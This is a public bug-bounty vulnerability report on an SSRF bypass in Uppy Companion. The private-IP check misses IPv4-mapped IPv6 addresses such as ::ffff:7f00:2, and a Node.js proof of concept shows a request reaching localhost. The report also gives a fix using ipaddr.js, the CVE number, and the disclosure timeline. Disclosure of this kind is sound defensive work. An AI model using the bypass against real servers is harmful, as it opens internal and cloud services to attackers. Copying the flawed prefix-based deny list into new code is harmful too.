Server-Side Request Forgery (SSRF) in transloadit/uppy

0

Valid Reported on Dec 30th 2021

Description

Uppy is vulnerable to SSRF through IPv4-mapped IPv6 addresses - https://www.ibm.com/docs/en/zos/2.1.0?topic=addresses-ipv4-mapped-ipv6
The report at https://hackerone.com/reports/786956 does not fix it because it uses a easily bypassable deny list in https://github.com/transloadit/uppy/blob/main/packages/%40uppy/companion/src/server/helpers/request.js#L28L80. From my understanding, there are two mechanisms to check if an IP address is private. isPrivateIP and dnsLookup, both rely on the isPrivateIP to check for private IP address. However, isPrivateIP faills to check for IPv4-mapped IPv6 addresses (example: ::ffff:7f00:2), which contain a double colon in front that isPrivateIP fails to check. ::ffff:7f00:2 translates to 127.0.0.2 but is not detected by isPrivateIP or the dnsLookup function
You may use a tool to convert any IPv4 address to IPv6 here: https://iplocation.io/ipv4-to-ipv6/

Proof of Concept

I extracted out the key functions, for convenience, let me know if this isn't enough:

```
const request = require('request')
const dns = require ('dns')

ip = "::ffff:7f00:2"

function isPrivateIP (ipAddress) {
  let isPrivate = false
  // Build the list of IP prefix for V4 and V6 addresses
  const ipPrefix = []
  // Add prefix for loopback addresses
  ipPrefix.push('127.')
  ipPrefix.push('0.')
  // Add IP V4 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Private_network
```

```
// See https://en.wikipedia.org/wiki/Private_network
ipPrefix.push('10.')
ipPrefix.push('172.16.')
ipPrefix.push('172.17.')
ipPrefix.push('172.18.')
ipPrefix.push('172.19.')
ipPrefix.push('172.20.')
ipPrefix.push('172.21.')
ipPrefix.push('172.22.')
ipPrefix.push('172.23.')
ipPrefix.push('172.24.')
ipPrefix.push('172.25.')
ipPrefix.push('172.26.')
ipPrefix.push('172.27.')
ipPrefix.push('172.28.')
ipPrefix.push('172.29.')
ipPrefix.push('172.30.')
ipPrefix.push('172.31.')
ipPrefix.push('192.168.')
ipPrefix.push('169.254.')
// Add IP V6 prefix for private addresses
// See https://en.wikipedia.org/wiki/Unique_local_address
// See https://en.wikipedia.org/wiki/Private_network
// See https://simpledns.com/private-ipv6
ipPrefix.push('fc')
ipPrefix.push('fd')
ipPrefix.push('fe')
ipPrefix.push('ff')
ipPrefix.push('::1')
// Verify the provided IP address
// Remove whitespace characters from the beginning/end of the string
// and convert it to lower case
// Lower case is for preventing any IPV6 case bypass using mixed case
// depending on the source used to get the IP address
const ipToVerify = ipAddress.trim().toLowerCase()
// Perform the check against the list of prefix
for (const prefix of ipPrefix) {
  if (ipToVerify.startsWith(prefix)) {
    isPrivate = true
    break
  }
}
```

```
  }

  return isPrivate

}

// Mechanism 1 - IP itself
console.log(isPrivateIP(ip))

// Mechanism 2 - DNS Lookup
dns.lookup(ip, (err, address, family) => {
  console.log('address: %j family: IPv%s', address, family);
  console.log(isPrivateIP(address))
});

// This goes to localhost
request('http://[' + ip + ']', function (error, response, body) {
  console.error('error:', error); // Print the error if one occurred
  console.log('statusCode:', response && response.statusCode); // Print the
  console.log('body:', body); // Print the HTML for the Google homepage.
});
```

The output:

```
isPrivateIP says its public
address: "::ffff:7f00:2" family: IPv6
dnsLookup says its public
body:
[request body of http://127.0.0.2]
```

Impact

This vulnerability is capable of SSRF to any IP address, including private and cloud IP address.

Recommended Fix

The https://www.npmjs.com/package/ipaddr.js/ package can be used to det
address is public or private instead of trying to catch all possible private IP ad

```
var ipAddr = require('ipaddr.js')

// BAD
console.log(ipAddr.parse("127.0.0.1").range())
console.log(ipAddr.parse("192.168.0.1").range())
console.log(ipAddr.parse("::ffff:7f00:2").range())
console.log(ipAddr.parse("fd12:3456:789a:1::1").range())

// GOOD
console.log(ipAddr.parse("142.251.12.138").range())
console.log(ipAddr.parse("2600::").range())
```

unicast = good.

```
loopback
private
ipv4Mapped
uniqueLocal
unicast
unicast
```

References

- Test IPv4-mapped IPv6 address

CVE
CVE-2022-0086
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (8.2)

Visibility
Public

Status
Fixed

Found by

haxatron

@haxatron

pro

This report was seen 574 times.

We are processing your report and will contact the **transloadit/uppy** team within 24 hours. a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

We have contacted a member of the **transloadit/uppy** team and are waiting to hear back a year ago

We have sent a follow up to the **transloadit/uppy** team. We will try again in 7 days. a year ago

Mikael Finstad validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Mikael Finstad marked this as fixed in **2.3.3** with commit **fc137e** a year ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation